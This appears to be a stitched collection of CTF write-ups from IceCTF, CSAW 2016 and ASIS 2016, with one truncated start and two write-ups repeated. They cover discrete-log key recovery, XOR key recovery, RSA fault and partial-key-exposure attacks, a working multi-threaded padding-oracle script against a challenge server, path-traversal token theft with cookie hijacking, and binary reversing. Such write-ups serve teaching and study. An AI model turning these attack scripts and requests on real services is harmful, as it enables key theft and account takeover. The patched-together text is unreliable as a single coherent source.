fa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
# Sleeping guard (50 p)```Only true hackers can see the image in this magic PNG....
nc crypto.chal.csaw.io 8000
Author: Sophia D'Antoine```
Connecting to the server, we get a BASE64 stream of data. Decrypting it, we see that it is not a valid PNG. Let us try simple XOR. We take a known plaintext from another PNG and try to XOR with the cipertext in hope to get the key.
```python# extracted from reference imageheader = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x07, 0x9C, 0x00, 0x00, 0x05, 0x7A, 0x08, 0x06, 0x00, 0x00, 0x00, 0x31, 0xA6, 0x00, 0xF6, 0x00, 0x00, 0x00]
f = open('magic.png', 'r')i = 0j = 8out = ''data = f.read()for char in data: out += chr(ord(char) ^ header[i % len(header)]) i += 1key = out[0:12]print 'Found key: {0}'.format(key)output = ''```
This gives us `WoAh_A_Key!?`. Re-using the code,
```pythonf = open('magic.png', 'r')i = 0data = f.read()for char in data: output += chr(ord(char) ^ ord(key[i % len(key)])) i += 1
f = open('decrypted.png', 'w')f.write(output)```
Running it, we decode the image as follows:

# Broken box (300 p)
```I made a RSA signature box, but the hardware is too old thatsometimes it returns me different answers... can you fix it for me?
e = 0x10001
nc crypto.chal.csaw.io 8002```The obvious guess of error source is a simple RSA-CRT fault. This means that there is an error in the CRT when computing the signature, which means gcd(sᵉ - m, N) > 1 allowing us to factor N. The following function tests if there are such anomalies:
```python
def test_crt_faults(): print '[+] Testing faults in CRT...'
for sig in faulty: ggcd = gcd(ver(sig) - msg, N) if ggcd > 1: print "[!] Found factor {0}".format(ggcd) break for fsig in faulty: if fsig != sig: # try to detect constant errors ggcd = gcd(N + ver(sig) - ver(fsig), N) ggcd = ggcd * gcd(ver(sig - fsig), N) if ggcd > 1: print "[!] Found factor {0}".format(ggcd) break if ggcd == 1: print '[-] No factors found...' ```
Turns out, there are no such faults present. Hmm... so what is a possible source of error? The modulus N or the exponent d. The modulus N is a bit cumbersome to handle, so lets try with the secret exponent!
First, we sample a lot of signatures from the service. Then, we split the set into a correct signature and several faulty ones.
```python
valid, faulty = [], []msg = 2f = open('sigs2.txt', 'r')
for line in f: sig = int(line) if ver(sig) == 2: valid.append(sig) else: faulty.append(sig)```
Assume that we have a proper signature s and a faulty signature f, then we may compute s × f⁻¹ = mᵈ × (mᵈ⁻ʲ)⁻¹ = mʲ. If it is a single-bit error, then j = ±2ⁱ. First we build a look-up table with all
```python look_up = {pow(msg, pow(2,i), N) : i for i in range(0,1024)}```
This is merely a way to quickly determine i from ±2ⁱ mod N. Then, for each faulty signature, we compute s × q⁻¹ and s⁻¹ × f and see if there is a match in the table. Since a bit flip is a simple xor, we need to take into account both the change 1 → 0 and 0 → 1. So, if s⁻¹ × f is in the table, then it means the contribution from the bit flip is positive. Therefore, d must be 0 in this position. Equivalently, if s × f⁻¹ is in the table, d must be 1 in that position. It remains to look at sufficiently many random signatures to fill the gaps in information of d.
A high-level description of the algorithm is as follows:
```psuedoalgorithm brokenbox(m): output: secret exponent d
precomputation: compute Q[mⁱ] = i for i ∈ {0,1...,1024}
online computation: 1. query oracle for signature of m 2. check if sᵉ = m (mod N) 3. if true, save it as reference value s. else, save in list L 4. repeat 1-3 until sufficiently many signatures have been obtained 5. for f ∈ L: compute s × f⁻¹ (mod N) and s⁻¹ × f (mod N) if s × f⁻¹ ∈ Q, set bit Q[s × f⁻¹] in d to 0 if s⁻¹ × f ∈ Q, set bit Q[s⁻¹ × f] in d to 1```
We achieve the recovery as follows:
```pythondef test_exponent_faults(): print '[+] Generating lookup...' number = ['?'] * 1024 look_up = {pow(msg, pow(2,i), N) : i for i in range(0,1024)} valid_inv = libnum.modular.invmod(valid[0], N) print '[+] Looking for matches and recovering secret exponent...' for sig in faulty: st = (sig * valid_inv) % N if st in look_up: number[look_up[st]] = '0' st = (libnum.modular.invmod(sig, N) * valid[0]) % N if st in look_up: number[look_up[st]] = '1' unknown = number.count('?') if unknown == 0: d = int(''.join(number[::-1]), 2) print 'Secret exponent is: {0}'.format(d) print 'Check:', valid[0] == pow(msg, d, N) return d else: print '[+] Recovered bits' print ''.join(number) print 'Remaining unknown: {0} / {1}'.format(unknown, len(number))```
For instance, after a few hundred faulty signatures, we have filled in the bit pattern:
```c???1???1??????0????0???0?0?11?1??1???1?1??1???????0010??1??10???????1001?1???????1?1?00?????????1?????0??0??1??0??0??100?0?0?01??10?01????????10??0???1??????1??0???0???0???0?0?0000?110?????1????0001?011?0??0??1?????????????1??????1??10???????0?1?10??????????0???0??0??0?????????1???1?1?1??????10?0110?????????0???1???1????0?0?0???????1??????????1????????11?????1??1??0?????00????????1??0?1???10???????11??01000??0???1????1?0???00?1??1?10??0????0???1???1?1??0????????1????1?1??0????1????1????0??01??11??0????0???????0?10????0????0???0????????1?????????11??0???0?????1????0????01????1???????100???????111?00?0??00????1?10??????????1?0????1???????0??1?0?11???11?????????????1??0???01????????1???0?1??????0001??????1???010???????100?1??????10?????0?01??1???0??????????1??1??0???0??????00??1??11??01?0?01?0?1????00????0???0?0?1????0?0??1?0??1????10???????1???00????10??0????0?1??????1?1?0?1?????1?1?01???10??1??????0????10???1?????0?10??????????1???110???1?01??0?????1????11??0?????11??0????1??1?0???11?0??0????1?????0??1?????10?```
Running a few more, we get
```[+] Found 1520 valid and 1510 faulty signatures![+] Generating lookup...[+] Looking for matches and recovering secret exponent...Secret exponent is: 1318114196677043534196699342738014984976469352105320281204477993086640079603572783402617238085 7263754840755090840323934490399778829656443966765971611093482241285542158667380890419360648113767904413268811547213257515039998690149350105787817443487153162937855786664238603417924072736209641094219963164897214757Check: Trueflag{br0k3n_h4rdw4r3_l34d5_70_b17_fl1pp1n6}```
# Still broken box (400 p)
```I fixed the RSA signature box I made, even though it still returns wrong answers sometimes, it get much better now.
e = 97
nc crypto.chal.csaw.io 8003```
Re-using the same code we wrote before, we get
```[+] Found 596 valid and 600 faulty signatures![+] Generating lookup...[+] Looking for matches and recovering secret exponent...[+] Recovered bits????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????000001100001101000010001101110010111100000001011001011000101010111100100111011111011101010111010110010111111001001100111001010000111110100010011001100001001110000001011101100000100111110100011000000101100011110110010110100010111000110011101000111010011011100111001101110001110110011111010111011101101
Remaining unknown: 724 / 1024```
Pretty much the same as above, but the error does only occur in the lower region of d. Also, about 1/4 of the bits. This is a case for a partial key exposure attack :-) We omitt the gritty details here, but it is pretty easy to understand when you realize that some mathematical relations hold when known only a subset of the bits of d. A short explanation:
Define s = p + q. We know that e × d (mod φ(N)) = 1. So, for some k ≤ e, we have
e × d - k × φ(N) = e × d - k × (N - s + 1) = 1.
Now, we can try all 0 ≤ k ≤ e and then solve the equation for s. Then, we can easily compute φ(N) = N - s + 1. It also holds for the partially know d, which we denote d' = d (mod 2³⁰⁰). Hence, it also holds that
e × d' - k × (N - s + 1) = 1 (mod 2³⁰⁰).
The, we solve a quadratic equation (this is the equation you would solve to factor N given φ(N)) for p
p² - s × p + N = 0 (mod 2³⁰⁰).
Note that we have to repeat this procedure for every choice of k.
Finally, we use a Theorem due to Coppersmith which states that we can factor N in time O(poly(log(N))). For more info, see my other writeups e.g. [this one](https://grocid.net/2016/03/14/0ctf-equation/). We can implement the above in Sage as follows:
```pythond = 48553333005218622988737502487331247543207235050962932759743329631099614121360173210513133known_bits = 300X = var('X')d0 = d % (2 ** known_bits)P.<x> = PolynomialRing(Zmod(N))
print '[ ] Thinking...'for k in xrange(1, e+1): results = solve_mod([e * d0 * X - k * X * (N - X + 1) + k * N == X], 2 ** 300)
for m in results: f = x * 2 ** known_bits + ZZ(m[0]) f = f.monic() roots = f.small_roots(X = 2 ** (N.nbits() / 2 - known_bits), beta=0.3)
if roots: x0 = roots[0] p = gcd(2 ** known_bits * x0 + ZZ(m[0]), N) print '[+] Found factorization!' print 'p =', ZZ(p) print 'q =', N / ZZ(p) break```
If we run it, we get
```[ ] Thinking...[+] Found factorization!p = 11508259255609528178782985672384489181881780969423759372962395789423779211087080016838545204916636221839732993706338791571211260830264085606598128514985547 q = 10734991637891904881084049063230500677461594645206400955916129307892684665074341324245311828467206439443570911177697615473846955787537749526647352553710047```
We can compute d = e⁻¹ mod φ(N). Using the found d to decrypt, we determine the flag
```flag{n3v3r_l34k_4ny_51n6l3_b17_0f_pr1v473_k3y}```
# Neo (200 p)
```Your life has been boring, seemingly meaningless up until now. A man in a black suit with fresh shades is standing in front of you telling you thatyou are The One. Do you chose to go down this hole? Or just sit around pwning n00bs for the rest of your life?
http://crypto.chal.csaw.io:8001/```
We get to a page with an input, already containing some BASE64-encoded data. Substituting it with some gibberish (as can be seen below), yields and interesting error...

So, it is AES! Alright then... there is an encrypted id or token. It seems random, but that may just be the IV. Also, the image about suggests that the Matrix is vulnerable to a padding-oracle attack. In brief words, this is an attack which exploits the property of AES-CBC that Pᵢ = Dec(Cᵢ, k) ⊕ Cᵢ₋₁. Since the function Dec is bijective, we have that for an altered ciphertext C'ᵢ₋₁ there exists a valid plaintext P'ᵢ₋₁ = Dec(Cᵢ₋₁, k) (although it is probably just gibberish, it will not cause an error!). So, by flipping bits Cᵢ₋₁, we can cause Pᵢ to have a non-proper padding which will cause an error that we may be notified about (this is the case here!). By setting modifying Cᵢ₋₁ so that
C'ᵢ₋₁ = Cᵢ₋₁ ⊕ 0x0...1 ⊕ 0x0...0[guessed byte]
we can determine the value in the corresponding position of Pᵢ.
First, we define an oracle as follows:
```pythondef oracle(payload): global responses r = requests.post('http://crypto.chal.csaw.io:8001', data = {'matrix-id' : base64.b64encode(binascii.unhexlify(payload))}) if 'Caught exception during AES decryption...' in r.text: responses[payload] = False else: responses[payload] = True```
So, if there is padding error, it will return `False` and otherwise `True`. In the [id0-rsa](http://id0-rsa.pub) challenge, I wrote a multi-threaded padding-oracle code in Python (which finishes the attack in no time at all :-D). We will re-use this code here!
If we set the parameters
```pythonimport requests, base64, binasciiimport thread, time, string, urllib2, copy
threads = 20alphabet = ''.join([chr(i) for i in range(16)]) + string.printablealphabet_blocks = [alphabet[i : i + threads] for i in range(0, len(alphabet), threads)]data = 'vwqB+7cWkxMC6fY55NZW6y/LcdkUJqakXtMZIpS1YqbkfRYYOh0DKTr9Mp2QwNLZkBjyuLbNLghhSVNkHcng+Vpmp5WT5OAnhUlEr+LyBAU='ciphertext = binascii.hexlify(base64.b64decode(data))[:] # adjust to get other blocksoffset = len(ciphertext)/2-16```
and then, the very heart of the padding-oracle code:
```pythondef flip_cipher(ciphertext, known, i): modified_ciphertext = copy.copy(ciphertext) for j in range(1, i): modified_ciphertext[offset-j] = ciphertext[offset-j] ^ ord(known[-j]) ^ i return modified_ciphertext ciphertext = [int(ciphertext[i:i+2], 16) for i in range(0, len(ciphertext), 2)]count, known = 1, ''
while True: print 'Found so far:', [known] for block in alphabet_blocks: responses, payloads = {}, {} modified_ciphertext = flip_cipher(ciphertext, known, count) for char in block: modified_ciphertext[offset-count] = ciphertext[offset-count] ^ ord(char) ^ count payloads[''.join([hex(symbol)[2:].zfill(2) for symbol in modified_ciphertext])] = char for payload in payloads.keys(): thread.start_new_thread(oracle, (payload,)) while len(responses.keys()) != len(payloads): time.sleep(0.1) if True in responses.values(): known = payloads[responses.keys()[responses.values().index(True)]] + known alphabet_blocks.remove(block) alphabet_blocks.insert(0, block) count = count + 1 break```
and execute it for different from-right truncated ciphertexts, we obtain
```Found so far: ['flag{what_if_i_t']Found so far: ['old_you_you_solv']Found so far: ['ed_the_challenge']Found so far: ['}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f']```
So, by removing the padding, we get the flag
```flag{what_if_i_told_you_you_solved_the_challenge}```Great!# wtf.sh (150 p)
```WTF.SH(1) Quals WTF.SH(1)
NAME wtf.sh - A webserver written in bash
SYNOPSIS wtf.sh port
DESCRIPTION wtf.sh is a webserver written in bash. Do I need to say more?
FLAG You can get the flag to this first part of the problem by getting the website to run the get_flag1 command. I heard the admin likes to launch it when he visits his own profile.
ACCESS You can find wtf.sh at http://web.chal.csaw.io:8001/
AUTHOR Written by _Hyper_ http://github.com/Hyper- sonic/
SUPERHERO ORIGIN STORY I have deep-rooted problems That involve childhood trauma of too many shells It was ksh, zsh, bash, dash They just never stopped On that day I swore I would have vengeance I became The Bashman
REPORTING BUGS Report your favorite bugs in wtf.sh at http://ctf.csaw.io
SEE ALSO wtf.sh(2)
CSAW 2016 September 2016 WTF.SH(1)```
Seemingly, we can enumerate users on the service.
```GET /post.wtf?post=../../../../../../../../../../../tmp/wtf_runtime/wtf.sh/users*Host: web.chal.csaw.io:8001...<div class="post"><span>Posted by admin</span><span>facb59989c28a17cf481e2f5664d4aaeff1651b8</span><span>2xRnmiXo9/f7GCEXkdZ2XqdtaLUAe0KOl7xibP4rMfS82Kfy/PbNuwaDODgRctRxiUxG0ys5Aq5PLlbq4/GPiQ==</span></div>...```So, we have extracted the password hash and the token. We can set the token and get the flag as follows:
```Cookie: USERNAME=admin; TOKEN=2xRnmiXo9/f7GCEXkdZ2XqdtaLUAe0KOl7xibP4rMfS82Kfy/PbNuwaDODgRctRxiUxG0ys5Aq5PLlbq4/GPiQ==GET /profile.wtf?user=7tLx9 HTTP/1.1Host: web.chal.csaw.io:8001...flag{l00k_at_m3_I_am_th3_4dm1n_n0w}
```
# Coinslot (25 p)
```#Hope #Change #Obama2008
nc misc.chal.csaw.io 8000```
The only hard thing about this challenge is to make it handle floats properly, but Numpy and transforming to integer 1/100 parts solves it :-)
```pythonfrom pwn import *import numpy
s = remote('misc.chal.csaw.io', 8000)bills = [10000,5000,1000,500,100,50,20,10,5,1,0.5,0.25,0.1,0.05,0.01]while True: amount = float(s.recvuntil('\n')[1:]) amount = int(numpy.round(amount * 100)) send = [0] * len(bills) for i in range(len(bills)): while bills[i] * 100 <= amount: amount -= bills[i] * 100 send[i] += 1 for i in send: s.recvuntil(':') s.send(str(i) + '\n') print s.recvuntil('\n')```
After a lot of time, we get
```flag{started-from-the-bottom-now-my-whole-team-fucking-here}``` |
Tutorial was an easy pwn in CSAW CTF 2016, worth 200 points.Ok sport, now that you have had your Warmup, maybe you want to checkout the Tutorial.<span>Download the challenge from here.</span> |
# ASIS CTF Finals 2016 : oracle-354
**Category:** Reverse**Points:** 354**Solves:** 0**Description:**
The resident oracle of our temple has risen his prices too high. If only we could understand his [inner workings](oracle.txz), we could get our answers for free.
Hint: [Burrows–Wheeler transform](https://en.wikipedia.org/wiki/Burrows%E2%80%93Wheeler_transform)
## Write-up
by [0xf4b](https://github.com/0xf4b)
The task has been solved after the end of the CTF.
The binary is a static 64-bits ELF.
```$ file oracleoracle: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=b986a272dac0f10f199e3114a358c03aef13f458, stripped```
### main
The main function asks for the flag, and uses the last character as the number of rounds.
Here is the algorithm used:```for i in xrange(rounds): flag = burrows_wheeler_bits(flag) flag = xor(flag, 0x8f ^ i)```
The Burrows-wheeler transform is not directly performed on the flag, but on its binary representation (string composed of "0" and "1" characters).
```burrows_wheeler_bits("x}") == burrows_wheeler("111100001111101") == "100101111111100"```
The final flag is hex-encoded and compared to:```8f02030966689a88a70e46d87260834943327b43956802b72ef9937f94e34c6bceac062454f1```
### Inversion
The main problem is to invert the Burrows-wheeler transform without having a terminating character in the input string.
Inverting the matrix is a simple problem, however finding which row is the input is not possible without any knowledge on the input.
We know two conditions:- the input for each round has its leading character set to "1" (because the transform strips leading 0's)- the input for each round (except first) is a Burrows-Wheeler output from previous round, xored with the round-key (0x8f^round_index), so its trailing character should be "0" xored with the previous round key
These two conditions gives us 4 times less rows as candidates.
The remaing rows should each be tested as candidates of a Burrows-Wheeler output, until the inversion fails (yes, inversion can fail!).
A fail can be detected if all the rows of the matrix are not rotations of the first row.
All these conditions allow to perform a bruteforce, which retrieves the flag after ~2150s using pypy on a single core.
```$ time pypy invert_oracle.py 8f02030966689a88a70e46d87260834943327b43956802b72ef9937f94e34c6bceac062454f1FLAG ASIS{0b9323e43f1b0888e8bb7d270434113a}pypy invert_oracle.py 2155,71s user 1,19s system 99% cpu 35:58,71 total```
Script :```#!/usr/bin/python
import sys
fu = sys.argv[1].decode("hex")xz = len(fu)
start = ord('}')-1
def rol(s,j): return s[j:] + s[:j]
def invert_burrows(my_input, i):
xored = "".join(chr( ord(x) ^ 0x8f ^ i) for x in my_input) xored_int = int(xored.encode("hex"),16) xored_bin = bin(xored_int)[2:]
str_len = len(xored_bin)
### Retrieve matrix final_col = [ x for x in xored_bin ] first_col = [ x for x in xored_bin ] first_col.sort()
tmp_matrix = first_col[:] for j in xrange(1, str_len, 1): bigrams=[] for k in xrange(len(final_col)): bigrams.append(final_col[k]+tmp_matrix[k]) bigrams.sort() tmp_matrix = bigrams[:]
### Check if matrix is ok matrix_ok = True
#compute permutations of bigrams[0] perms=[] for k in xrange(len(bigrams)): rotation=rol(bigrams[0],k) perms.append(rotation) for k in bigrams: if k not in perms: matrix_ok = False break
### Recursive Burrows-Wheeler, or stop if last round if matrix_ok: if i == 0: # Last round if len(bigrams[0]) == (xz*8-1): # Leading bit should be 0 (printable char) for row in bigrams: if row.startswith("1000001010100110100100101010011"): # ASIS print "FLAG",hex(int(row,2))[2:-1].decode("hex") sys.exit(0) else: # Go for previous round for k in bigrams: if k.startswith("1"): # Filter only leading "1" if (k.endswith("0") and ( ((i-1)^0x8f) & 0x1) == 0) or (k.endswith("1") and ( ((i-1)^0x8f) & 0x1) == 1): # Filter only trailing "0" new_input = "%x" % int(k,2) if len(new_input)%2 != 0: new_input = "0"+new_input new_input = new_input.decode("hex") invert_burrows(new_input,i-1)
invert_burrows(fu,start)
```
## Other write-ups and resources
* https://github.com/ctfs/write-ups-2016/tree/master/asis-ctf-2016/reverse/oracle-354 |
# CSAW CTF 2016 deedeedee (150) Writeup
> Wow! I can run code at compile time! That's a pretty cool way to keep my flags secret. Hopefully I didn't leave any clues behind...
This challenge uses a program which was most probably written in [D](https://en.wikipedia.org/wiki/D_(programming_language)).
As the description suggests, the program itself just prints a "encrypted" flag whilst the "encryption" possibly was taking place at compile time:```676c60677a74326d716c6074325f6c6575347172316773616c6d686e665f68735e6773385e345e3377657379316e327d```
After some looking around, I figured out that the main function of programs written in D seems to end up as a `_Dmain` symbol.

As neither radare2 nor IDA Pro where able to demangle D function names, I've written a small D program which reads strings from stdin and demangles them if possible:
```dimport core.stdc.stdio : stdin;import std.stdio;import std.ascii;import std.demangle;
int main(){ string buffer; bool inword; int c;
while ((c = fgetc(stdin)) != EOF) { if (inword) { if (c == '_' || isAlphaNum(c)) buffer ~= cast(char) c; else { inword = false; write(demangle(buffer), cast(char) c); } } else { if (c == '_' || isAlpha(c)) { inword = true; buffer.length = 0; buffer ~= cast(char) c; } else write(cast(char) c); } } if (inword) write(demangle(buffer)); return 0;}```
This produces for example the following output:```bash$ ./demangle_names_D9deedeedee9hexencodeFAyaZAyaimmutable(char)[] deedeedee.hexencode(immutable(char)[])```
In the next step, I searched for functions which contain `deedeedee` in their names. This results in a lot of functions with similar names:```> afl~deedeedee0x0044cde0 1 1020 sym._D9deedeedee7encryptFNaNfAyaZAya0x0044e370 4 148 sym._D9deedeedee9hexencodeFAyaZAya0x00451470 4 213 sym._D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya0x00458280 4 213 sym._D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya0x00458358 4 213 sym._D9deedeedee21__T3encVAyaa3_333333Z3encFNaNfAyaZAya0x00458430 4 213 sym._D9deedeedee21__T3encVAyaa3_343434Z3encFNaNfAyaZAya0x00458508 4 213 sym._D9deedeedee21__T3encVAyaa3_353535Z3encFNaNfAyaZAya0x004585e0 4 213 sym._D9deedeedee21__T3encVAyaa3_363636Z3encFNaNfAyaZAya0x004586b8 4 213 sym._D9deedeedee21__T3encVAyaa3_373737Z3encFNaNfAyaZAya0x00458790 4 213 sym._D9deedeedee21__T3encVAyaa3_383838Z3encFNaNfAyaZAya0x00458868 4 213 sym._D9deedeedee21__T3encVAyaa3_393939Z3encFNaNfAyaZAya0x00458940 4 213 sym._D9deedeedee27__T3encVAyaa6_313031303130Z3encFNaNfAyaZAya0x00458a18 4 213 sym._D9deedeedee27__T3encVAyaa6_313131313131Z3encFNaNfAyaZAya[...]0x00471f18 4 213 sym._D9deedeedee33__T3encVAyaa9_343931343931343931Z3encFNaNfAyaZAya0x00471ff0 4 213 sym._D9deedeedee33__T3encVAyaa9_343932343932343932Z3encFNaNfAyaZAya0x004720c8 4 213 sym._D9deedeedee33__T3encVAyaa9_343933343933343933Z3encFNaNfAyaZAya0x004721a0 4 213 sym._D9deedeedee33__T3encVAyaa9_343934343934343934Z3encFNaNfAyaZAya0x00472278 4 213 sym._D9deedeedee33__T3encVAyaa9_343935343935343935Z3encFNaNfAyaZAya0x00472350 4 213 sym._D9deedeedee33__T3encVAyaa9_343936343936343936Z3encFNaNfAyaZAya0x00472428 4 213 sym._D9deedeedee33__T3encVAyaa9_343937343937343937Z3encFNaNfAyaZAya0x00472500 4 213 sym._D9deedeedee33__T3encVAyaa9_343938343938343938Z3encFNaNfAyaZAya0x004725d8 4 213 sym._D9deedeedee33__T3encVAyaa9_343939343939343939Z3encFNaNfAyaZAya0x00474a90 1 40 sym._D9deedeedee7__arrayZ0x00474ab8 1 79 sym._D9deedeedee8__assertFiZv```
Demangling them shows:
```> afl~deedeedee[3] | ./demangle_namessym.pure @safe immutable(char)[] deedeedee.encrypt(immutable(char)[])sym.immutable(char)[] deedeedee.hexencode(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("111").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("222").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("333").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("444").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("555").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("666").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("777").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("888").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("999").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("101010").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("111111").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("121212").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("131313").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("141414").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("151515").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("161616").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("171717").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("181818").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("191919").enc(immutable(char)[])[...]sym.pure @safe immutable(char)[] deedeedee.enc!("485485485").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("486486486").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("487487487").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("488488488").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("489489489").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("490490490").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("491491491").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("492492492").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("493493493").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("494494494").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("495495495").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("496496496").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("497497497").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("498498498").enc(immutable(char)[])sym.pure @safe immutable(char)[] deedeedee.enc!("499499499").enc(immutable(char)[])sym.deedeedee.__arraysym.void deedeedee.__assert(int)```
It seemed that these functions are used to encrypt the flag. That's why I was looking if these functions are used somewhere in the binary:
```> axt @ sym._D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAyacall 0x44cdfe call sym._D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya in sym._D9deedeedee7encryptFNaNfAyaZAya> axt @ sym._D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya | ./demangle_namescall 0x44cdfe call sym.pure @safe immutable(char)[] deedeedee.enc!("111").enc(immutable(char)[]) in sym.pure @safe immutable(char)[] deedeedee.encrypt(immutable(char)[])```
Ok, so there is a encrypt function...```> pdf | ./demangle_names```
This function calls the `enc` functions with incrementing number strings ("111", "222", "333", ..., "498498498", "499499499").
If we look at the content the `enc` functions, we'll see that they are all identical, except of using a different string ("111", "222", etc.). Based on the demangled names, I was able to decompile them approximately as follows:
```dchar[] enc(char[] data, string base) { auto len = cast(char) to!int(base.length);
auto c = cycle(base); char[] res; foreach (tup; zip(c, data)) { res ~= tup[0] ^ tup[1] ^ len; } return res;}```
By reversing the function calls, I was able to "decrypt" the flag:```dimport std.range : cycle, zip;import std.conv : to, hexString;import std.stdio;
char[] enc(char[] data, string base) { auto len = cast(char) to!int(base.length);
auto c = cycle(base); char[] res; foreach (tup; zip(c, data)) { res ~= tup[0] ^ tup[1] ^ len; } return res;}
int main() {
auto data = hexString!"676c60677a74326d716c6074325f6c6575347172316773616c6d686e665f68735e6773385e345e3377657379316e327d"; char[] res = data.dup;
for (int i = 499; i >= 0; --i) { string base = to!string(i); res = enc(res, base ~ base ~ base); }
writeln(res); return 0;}``````flag{t3mplat3_met4pr0gramming_is_gr8_4_3very0n3}``` |
# Sleeping guard (50 p)```Only true hackers can see the image in this magic PNG....
nc crypto.chal.csaw.io 8000
Author: Sophia D'Antoine```
Connecting to the server, we get a BASE64 stream of data. Decrypting it, we see that it is not a valid PNG. Let us try simple XOR. We take a known plaintext from another PNG and try to XOR with the cipertext in hope to get the key.
```python# extracted from reference imageheader = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x07, 0x9C, 0x00, 0x00, 0x05, 0x7A, 0x08, 0x06, 0x00, 0x00, 0x00, 0x31, 0xA6, 0x00, 0xF6, 0x00, 0x00, 0x00]
f = open('magic.png', 'r')i = 0j = 8out = ''data = f.read()for char in data: out += chr(ord(char) ^ header[i % len(header)]) i += 1key = out[0:12]print 'Found key: {0}'.format(key)output = ''```
This gives us `WoAh_A_Key!?`. Re-using the code,
```pythonf = open('magic.png', 'r')i = 0data = f.read()for char in data: output += chr(ord(char) ^ ord(key[i % len(key)])) i += 1
f = open('decrypted.png', 'w')f.write(output)```
Running it, we decode the image as follows:

# Broken box (300 p)
```I made a RSA signature box, but the hardware is too old thatsometimes it returns me different answers... can you fix it for me?
e = 0x10001
nc crypto.chal.csaw.io 8002```The obvious guess of error source is a simple RSA-CRT fault. This means that there is an error in the CRT when computing the signature, which means gcd(sᵉ - m, N) > 1 allowing us to factor N. The following function tests if there are such anomalies:
```python
def test_crt_faults(): print '[+] Testing faults in CRT...'
